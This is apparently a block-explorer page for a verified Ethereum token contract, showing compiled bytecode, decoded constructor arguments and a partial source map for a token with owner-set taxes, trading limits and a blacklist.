6135825760095490505b60006002600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff16846135b9919061436b565b6135c39190614771565b6135cd9190614771565b9050600081836135dd9190614431565b90506009600a6135ed9190614320565b811061368957600047905061360182613377565b6000814761360f9190614431565b90506000600b60059054906101000a900461ffff1661ffff161115613686576000600b8054906101000a900461ffff1661ffff16600b60059054906101000a900461ffff1661ffff1683613663919061436b565b61366d9190614771565b905061367885612f81565b6136848582600061316b565b505b50505b600047905060008111156136a1576136a081612564565b5b5050505b506000601160146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156137305750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137865750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561384f5760065483111561379e576000905061384e565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613843575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461384191906146ec565b115b1561384d57600090505b5b5b809150509392505050565b600080600560009054906101000a900460ff1615806138c25750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806139165750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156139245760009050613a59565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156139a7576064600b60029054906101000a900460ff1660ff1684613996919061436b565b6139a09190614771565b9050613a58565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a2a576064600b60039054906101000a900460ff1660ff1684613a19919061436b565b613a239190614771565b9050613a57565b6064600b60049054906101000a900460ff1660ff1684613a4a919061436b565b613a549190614771565b90505b5b5b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a9e578082015181840152602081019050613a83565b83811115613aad576000848401525b50505050565b6000601f19601f8301169050919050565b6000613acf82613a64565b613ad98185613a6f565b9350613ae9818560208601613a80565b613af281613ab3565b840191505092915050565b60006020820190508181036000830152613b178184613ac4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b4f82613b24565b9050919050565b613b5f81613b44565b8114613b6a57600080fd5b50565b600081359050613b7c81613b56565b92915050565b6000819050919050565b613b9581613b82565b8114613ba057600080fd5b50565b600081359050613bb281613b8c565b92915050565b60008060408385031215613bcf57613bce613b1f565b5b6000613bdd85828601613b6d565b9250506020613bee85828601613ba3565b9150509250929050565b60008115159050919050565b613c0d81613bf8565b82525050565b6000602082019050613c286000830184613c04565b92915050565b600060ff82169050919050565b613c4481613c2e565b8114613c4f57600080fd5b50565b600081359050613c6181613c3b565b92915050565b600080600060608486031215613c8057613c7f613b1f565b5b6000613c8e86828701613c52565b9350506020613c9f86828701613c52565b9250506040613cb086828701613c52565b9150509250925092565b6000613cc582613b24565b9050919050565b613cd581613cba565b82525050565b6000602082019050613cf06000830184613ccc565b92915050565b613cff81613bf8565b8114613d0a57600080fd5b50565b600081359050613d1c81613cf6565b92915050565b60008060408385031215613d3957613d38613b1f565b5b6000613d4785828601613b6d565b9250506020613d5885828601613d0d565b9150509250929050565b600060208284031215613d7857613d77613b1f565b5b6000613d8684828501613b6d565b91505092915050565b613d9881613b82565b82525050565b6000602082019050613db36000830184613d8f565b92915050565b600061ffff82169050919050565b613dd081613db9565b82525050565b6000602082019050613deb6000830184613dc7565b92915050565b600080600060608486031215613e0a57613e09613b1f565b5b6000613e1886828701613b6d565b9350506020613e2986828701613b6d565b9250506040613e3a86828701613ba3565b9150509250925092565b613e4d81613c2e565b82525050565b6000602082019050613e686000830184613e44565b92915050565b600060208284031215613e8457613e83613b1f565b5b6000613e9284828501613ba3565b91505092915050565b60008060408385031215613eb257613eb1613b1f565b5b6000613ec085828601613b6d565b9250506020613ed185828601613b6d565b9150509250929050565b613ee481613b44565b82525050565b6000602082019050613eff6000830184613edb565b92915050565b613f0e81613db9565b8114613f1957600080fd5b50565b600081359050613f2b81613f05565b92915050565b60008060408385031215613f4857613f47613b1f565b5b6000613f5685828601613f1c565b9250506020613f6785828601613f1c565b9150509250929050565b600080600060608486031215613f8a57613f89613b1f565b5b6000613f9886828701613f1c565b9350506020613fa986828701613f1c565b9250506040613fba86828701613f1c565b9150509250925092565b600063ffffffff82169050919050565b613fdd81613fc4565b8114613fe857600080fd5b50565b600081359050613ffa81613fd4565b92915050565b6000806000806080858703121561401a57614019613b1f565b5b600061402887828801613feb565b945050602061403987828801613feb565b935050604061404a87828801613feb565b925050606061405b87828801613feb565b91505092959194509250565b61407081613cba565b811461407b57600080fd5b50565b60008135905061408d81614067565b92915050565b6000602082840312156140a9576140a8613b1f565b5b60006140b78482850161407e565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b600061411c602a83613a6f565b9150614127826140c0565b604082019050919050565b6000602082019050818103600083015261414b8161410f565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614188600c83613a6f565b915061419382614152565b602082019050919050565b600060208201905081810360008301526141b78161417b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115614244578086048111156142205761421f6141be565b5b600185161561422f5780820291505b808102905061423d856141ed565b9450614204565b94509492505050565b60008261425d5760019050614319565b8161426b5760009050614319565b8160018114614281576002811461428b576142ba565b6001915050614319565b60ff84111561429d5761429c6141be565b5b8360020a9150848211156142b4576142b36141be565b5b50614319565b5060208310610133831016604e8410600b84101617156142ef5782820a9050838111156142ea576142e96141be565b5b614319565b6142fc84848460016141fa565b92509050818404811115614313576143126141be565b5b81810290505b9392505050565b600061432b82613b82565b915061433683613c2e565b92506143637fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461424d565b905092915050565b600061437682613b82565b915061438183613b82565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156143ba576143b96141be565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b60006143fb601083613a6f565b9150614406826143c5565b602082019050919050565b6000602082019050818103600083015261442a816143ee565b9050919050565b600061443c82613b82565b915061444783613b82565b92508282101561445a576144596141be565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b600061449b601483613a6f565b91506144a682614465565b602082019050919050565b600060208201905081810360008301526144ca8161448e565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614507600f83613a6f565b9150614512826144d1565b602082019050919050565b60006020820190508181036000830152614536816144fa565b9050919050565b60008151905061454c81613b56565b92915050565b60006020828403121561456857614567613b1f565b5b60006145768482850161453d565b91505092915050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006145b5600e83613a6f565b91506145c08261457f565b602082019050919050565b600060208201905081810360008301526145e4816145a8565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614621600983613a6f565b915061462c826145eb565b602082019050919050565b6000602082019050818103600083015261465081614614565b9050919050565b600060408201905061466c6000830185613edb565b6146796020830184613edb565b9392505050565b7f546f6b656e2062616c616e636520746f6f206c6f770000000000000000000000600082015250565b60006146b6601583613a6f565b91506146c182614680565b602082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b60006146f782613b82565b915061470283613b82565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614737576147366141be565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477c82613b82565b915061478783613b82565b92508261479757614796614742565b5b828204905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006147d8601083613a6f565b91506147e3826147a2565b602082019050919050565b60006020820190508181036000830152614807816147cb565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b6000614844601483613a6f565b915061484f8261480e565b602082019050919050565b6000602082019050818103600083015261487381614837565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006148b0600983613a6f565b91506148bb8261487a565b602082019050919050565b600060208201905081810360008301526148df816148a3565b9050919050565b60006148f182613db9565b91506148fc83613db9565b92508261ffff03821115614913576149126141be565b5b828201905092915050565b6000819050919050565b600061494361493e61493984613b24565b61491e565b613b24565b9050919050565b600061495582614928565b9050919050565b60006149678261494a565b9050919050565b6149778161495c565b82525050565b6000602082019050614992600083018461496e565b92915050565b60006149a382613db9565b915061ffff82036149b7576149b66141be565b5b600182019050919050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b60006149f8601183613a6f565b9150614a03826149c2565b602082019050919050565b60006020820190508181036000830152614a27816149eb565b9050919050565b7f5a65726f2061646472657373206e6f7420616c6c6f7765640000000000000000600082015250565b6000614a64601883613a6f565b9150614a6f82614a2e565b602082019050919050565b60006020820190508181036000830152614a9381614a57565b9050919050565b6000614aa582613b24565b9150614ab083613b24565b925082614ac057614abf614742565b5b828206905092915050565b7f4578636573736976652067617300000000000000000000000000000000000000600082015250565b6000614b01600d83613a6f565b9150614b0c82614acb565b602082019050919050565b60006020820190508181036000830152614b3081614af4565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614b6d600b83613a6f565b9150614b7882614b37565b602082019050919050565b60006020820190508181036000830152614b9c81614b60565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614bd9601183613a6f565b9150614be482614ba3565b602082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000819050919050565b6000614c34614c2f614c2a84614c0f565b61491e565b613b82565b9050919050565b614c4481614c19565b82525050565b600060c082019050614c5f6000830189613edb565b614c6c6020830188613d8f565b614c796040830187614c3b565b614c866060830186614c3b565b614c936080830185613edb565b614ca060a0830184613d8f565b979650505050505050565b600081519050614cba81613b8c565b92915050565b600080600060608486031215614cd957614cd8613b1f565b5b6000614ce786828701614cab565b9350506020614cf886828701614cab565b9250506040614d0986828701614cab565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614da681613b44565b82525050565b6000614db88383614d9d565b60208301905092915050565b6000602082019050919050565b6000614ddc82614d71565b614de68185614d7c565b9350614df183614d8d565b8060005b83811015614e22578151614e098882614dac565b9750614e1483614dc4565b925050600181019050614df5565b5085935050505092915050565b600060a082019050614e446000830188613d8f565b614e516020830187614c3b565b8181036040830152614e638186614dd1565b9050614e726060830185613edb565b614e7f6080830184613d8f565b969550505050505056fea2646970667358221220b00fff4f174fa6594ed0133fd0acf7a6fbe58f452c7e9df1cf023b0b4f26588364736f6c634300080d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000034d805fd0000000000000000000000000000000000000000000000000000000006f73b9f
-----Decoded View---------------
Arg [0] : smd (uint32): 886572541
Arg [1] : smr (uint32): 116865951
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000034d805fd
Arg [1] : 0000000000000000000000000000000000000000000000000000000006f73b9f
Deployed Bytecode Sourcemap
1960:13541:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5068:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5478:319;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11727:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3133:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11490:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2353:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4807:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2794:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15068:93;;;;;;;;;;;;;:::i;:::-;;8212:86;;;;;;;;;;;;;:::i;:::-;;6007:363;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4898:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2396:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3319:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6375:906;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15166:332;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5232:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12317:255;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2711:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5151:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2470:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3229:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4981:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2827:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11606:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5802:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2498:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12577:426;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2636:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2736:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2870:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2559:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14871:192;;;;;;;;;;;;;:::i;:::-;;2762:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5340:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12025:286;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13008:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2532:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1149:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11331:154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5068:80;5116:13;5140:5;;;;;;;;;;;;;;;;;5133:12;;5068:80;:::o;5478:319::-;5553:4;5583:12;5569:11;;:26;:53;;;;;5600:10;:22;5611:10;5600:22;;;;;;;;;;;;;;;;;;;;;;;;;5599:23;5569:53;5564:118;;;5631:45;5645:10;5657:12;5671:4;5631:13;:45::i;:::-;5564:118;5723:6;5688:11;:23;5700:10;5688:23;;;;;;;;;;;;;;;:32;5712:7;5688:32;;;;;;;;;;;;;;;:41;;;;5760:7;5739:37;;5748:10;5739:37;;;5769:6;5739:37;;;;;;:::i;:::-;;;;;;;;5788:4;5781:11;;5478:319;;;;:::o;11727:293::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;2705:2:::1;11831:24;;:9;:24;;;;:53;;;;;2705:2;11859:25;;:10;:25;;;;11831:53;:80;;;;;2705:2;11888:23;;:8;:23;;;;11831:80;11823:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;11946:9;11933:10;;:22;;;;;;;;;;;;;;;;;;11974:10;11960:11;;:24;;;;;;;;;;;;;;;;;;12007:8;11989:15;;:26;;;;;;;;;;;;;;;;;;11727:293:::0;;;:::o;3133:92::-;;;;;;;;;;;;;:::o;11490:111::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11589:7:::1;11570:6;:16;11578:6;11570:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;11490:111:::0;;:::o;2353:39::-;;;;;;;;;;;;;;;;;;;;;;:::o;4807:88::-;4862:7;2110:1;2165:2;:13;;;;:::i;:::-;2147:15;:31;;;;:::i;:::-;4873:19;;4807:88;:::o;2794:29::-;;;;;;;;;;;;;:::o;15068:93::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15115:40:::1;15133:21;15115:17;:40::i;:::-;15068:93::o:0;8212:86::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8263:12:::1;;;;;;;;;;;8255:21;;;::::0;::::1;;8281:12;8291:1;8281:9;:12::i;:::-;8212:86::o:0;6007:363::-;6107:4;6126:19;:17;:19::i;:::-;6118:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;6210:17;6175:11;:19;6187:6;6175:19;;;;;;;;;;;;;;;:31;6195:10;6175:31;;;;;;;;;;;;;;;;:52;6171:143;;6302:6;6268:11;:19;6280:6;6268:19;;;;;;;;;;;;;;;:31;6288:10;6268:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6234:11;:19;6246:6;6234:19;;;;;;;;;;;;;;;:31;6254:10;6234:31;;;;;;;;;;;;;;;:74;;;;6171:143;6325:40;6339:6;6347:9;6358:6;6325:13;:40::i;:::-;6318:47;;6007:363;;;;;:::o;4898:80::-;4950:5;2110:1;4959:16;;4898:80;:::o;2396:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;3319:87::-;;;;;;;;;;;;;:::o;6375:906::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6446:12:::1;;;;;;;;;;;6445:13;6437:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;6511:1;6496:12;:16;6488:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;6567:4;6539:10;:25;6558:4;6539:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;6596:4;6576:10;:17;6587:5:::0;::::1;;;;;;;;;;6576:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;6635:4;6605:10;:27;6616:15;;;;;;;;;;;6605:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;6667:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6652:12;;:38;;;;;;;;;;;;;;;;;;6737:27;6767:21;6737:51;;6824:12;6801:19;:35;;6793:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;6860:29;6892:24;6910:4;6892:9;:24::i;:::-;6860:56;;6953:1;6929:21;:25;6921:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6973:18;7012:16;;;;;;;;;;;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6994:56;;;7059:4;7066:12;;;;;;;;;;;6994:85;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6973:106;;7111:4;7086:10;:22;7097:10;7086:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;7145:4;7120:10;:22;7131:10;7120:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;7156:37;7171:21;7156:14;:37::i;:::-;7198:57;7212:21;7235:12;7249:5;7198:13;:57::i;:::-;7262:14;:12;:14::i;:::-;6432:849;;;6375:906:::0;:::o;15166:332::-;15216:24;15243:21;15253:10;15243:9;:21::i;:::-;15216:48;;15287:16;15277:6;:26;;15269:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;15359:6;15334:9;:21;15344:10;15334:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;15395:6;15370:9;:21;15388:1;15370:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;15440:1;15411:40;;15420:10;15411:40;;;15444:6;15411:40;;;;;;:::i;:::-;;;;;;;;15474:10;15461:32;;;15486:6;15461:32;;;;;;:::i;:::-;;;;;;;;15211:287;15166:332;:::o;5232:105::-;5298:7;5316:9;:18;5326:7;5316:18;;;;;;;;;;;;;;;;5309:25;;5232:105;;;:::o;12317:255::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12440:18:::1;12414:15;;:45;;;;;;;;;;;;;;;;;;12484:12;12464:9;;:33;;;;;;;;;;;;;;;;;;12531:4;12502:6;:26;12509:18;12502:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;12563:4;12540:6;:20;12547:12;12540:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12317:255:::0;;:::o;2711:23::-;;;;;;;;;;;;;:::o;5151:78::-;5203:7;5221:5;;;;;;;;;;;5214:12;;5151:78;:::o;2470:26::-;;;;:::o;3229:86::-;;;;;;;;;;;;;:::o;4981:84::-;5031:13;5055:7;;;;;;;;;;;;;;;;;5048:14;;4981:84;:::o;2827:39::-;;;;;;;;;;;;;:::o;11606:116::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11710:7:::1;11689:8;:18;11699:6;11689:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11606:116:::0;;:::o;5802:200::-;5882:4;5901:19;:17;:19::i;:::-;5893:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;5953:44;5967:10;5979:9;5990:6;5953:13;:44::i;:::-;5946:51;;5802:200;;;;:::o;2498:30::-;;;;:::o;12577:426::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12677:16:::1;12736:1;12729:4;12711:15;12696:30;;2110:1;2165:2;:13;;;;:::i;:::-;2147:15;:31;;;;:::i;:::-;12696:30;;;;:::i;:::-;:37;;;;:::i;:::-;:41;;;;:::i;:::-;12677:60;;12762:11;;12750:8;:23;;12742:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;12813:8;12799:11;:22;;;;12826:20;12893:1;12886:4;12864:19;12849:34;;2110:1;2165:2;:13;;;;:::i;:::-;2147:15;:31;;;;:::i;:::-;12849:34;;;;:::i;:::-;:41;;;;:::i;:::-;:45;;;;:::i;:::-;12826:68;;12923:15;;12907:12;:31;;12899:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12986:12;12968:15;:30;;;;12672:331;;12577:426:::0;;:::o;2636:36::-;;;;;;;;;;;;;:::o;2736:24::-;;;;;;;;;;;;;:::o;2870:32::-;;;;;;;;;;;;;:::o;2559:25::-;;;;:::o;14871:192::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;14920:23:::1;14946:24;14964:4;14946:9;:24::i;:::-;14920:50;;15001:1;14983:15;:19;14975:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;15021:37;15042:15;15021:20;:37::i;:::-;14915:148;14871:192::o:0;2762:28::-;;;;;;;;;;;;;:::o;5340:133::-;5424:7;5442:11;:19;5454:6;5442:19;;;;;;;;;;;;;;;:28;5462:7;5442:28;;;;;;;;;;;;;;;;5435:35;;5340:133;;;;:::o;12025:286::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12154:12:::1;12140:11;;:26;;;;;;;;;;;;;;;;;;12192:15;12171:18;;:36;;;;;;;;;;;;;;;;;;12227:9;12212:12;;:24;;;;;;;;;;;;;;;;;;12294:12;;;;;;;;;;;12273:18;;;;;;;;;;;12259:11;;;;;;;;;;;:32;;;;:::i;:::-;:47;;;;:::i;:::-;12241:15;::::0;:65:::1;;;;;;;;;;;;;;;;;;12025:286:::0;;;:::o;13008:230::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13169:10:::1;13143:36;;13158:8;13143:23;;2110:1;2165:2;:13;;;;:::i;:::-;2147:15;:31;;;;:::i;:::-;13143:23;;;;:::i;:::-;:36;;;;:::i;:::-;13130:10;:49;;;;13223:10;13197:36;;13212:8;13197:23;;2110:1;2165:2;:13;;;;:::i;:::-;2147:15;:31;;;;:::i;:::-;13197:23;;;;:::i;:::-;:36;;;;:::i;:::-;13184:10;:49;;;;13008:230:::0;;;;:::o;2532:25::-;;;;:::o;1149:130::-;1088:5;;;;;;;;;;1074:19;;:10;:19;;;1066:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1231:8:::1;1223:5;::::0;:16:::1;;;;;;;;;;;;;;;;;;1246:30;1267:8;1246:30;;;;;;:::i;:::-;;;;;;;;1149:130:::0;:::o;11331:154::-;11392:4;11435:1;11408:15;:23;11424:6;11408:23;;;;;;;;;;;;;;;;:28;11403:78;;11448:4;11441:11;;;;11403:78;11473:5;11466:12;;11331:154;;;;:::o;9934:255::-;10032:10;:18;10043:6;10032:18;;;;;;;;;;;;;;;;;;;;;;;;;10031:19;:51;;;;;10081:1;10054:15;:23;10070:6;10054:23;;;;;;;;;;;;;;;;:28;10031:51;10026:159;;;10118:13;10092:15;:23;10108:6;10092:23;;;;;;;;;;;;;;;:39;;;;10143:9;10138:42;;;10156:18;;:21;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;10138:42;10026:159;9934:255;;;:::o;14535:331::-;14592:24;14640:12;;;;;;;;;;;14619:18;;;;;;;;;;;:33;;;;:::i;:::-;14592:60;;14684:1;14663:18;;;;;;;;;;;:22;;;14658:109;;;14690:15;;;;;;;;;;;:24;;:74;14746:17;14715:48;;14725:18;;;;;;;;;;;14715:28;;:7;:28;;;;:::i;:::-;:48;;;;:::i;:::-;14690:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14658:109;14791:1;14776:12;;;;;;;;;;;:16;;;14771:91;;;14797:9;;;;;;;;;;;:18;;:62;14841:17;14816:42;;14826:12;;;;;;;;;;;14816:22;;:7;:22;;;;:::i;:::-;:42;;;;:::i;:::-;14797:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14771:91;14587:279;14535:331;:::o;8303:171::-;8374:12;8360:11;;:26;:46;;;;8405:1;8390:11;;:16;8360:46;8352:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;8461:8;8446:23;;:12;:23;;;;:::i;:::-;8432:11;:37;;;;8303:171;:::o;10651:220::-;10702:4;10712:16;10731:5;10712:24;;10746:12;;;;;;;;;;;10741:102;;;10777:4;10763:18;;10741:102;;;10812:5;;;;;;;;;;10799:18;;:9;:18;;;10794:49;;10836:4;10822:18;;10794:49;10741:102;10855:11;10848:18;;;10651:220;:::o;8479:1450::-;8571:4;8606:1;8590:18;;:6;:18;;;;:43;;;;;8631:1;8612:21;;:9;:21;;;;8590:43;8582:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;8686:12;8672:11;;:26;8667:510;;;8750:4;8712:42;;8742:4;8712:34;;8728:9;8712:34;;;;:::i;:::-;:42;;;8707:233;;8759:12;8769:1;8759:9;:12::i;:::-;8707:233;;;8816:1;8789:15;:23;8805:6;8789:23;;;;;;;;;;;;;;;;:28;8784:156;;8822:44;8836:9;8847:12;8861:4;8822:13;:44::i;:::-;8784:156;;;8881:56;8895:9;8906:15;:23;8922:6;8906:23;;;;;;;;;;;;;;;;8931:5;8881:13;:56::i;:::-;8784:156;8707:233;8667:510;;;8989:1;8962:15;:23;8978:6;8962:23;;;;;;;;;;;;;;;;:28;8957:97;;8995:56;9009:9;9020:15;:23;9036:6;9020:23;;;;;;;;;;;;;;;;9045:5;8995:13;:56::i;:::-;8957:97;9093:2;9079:11;;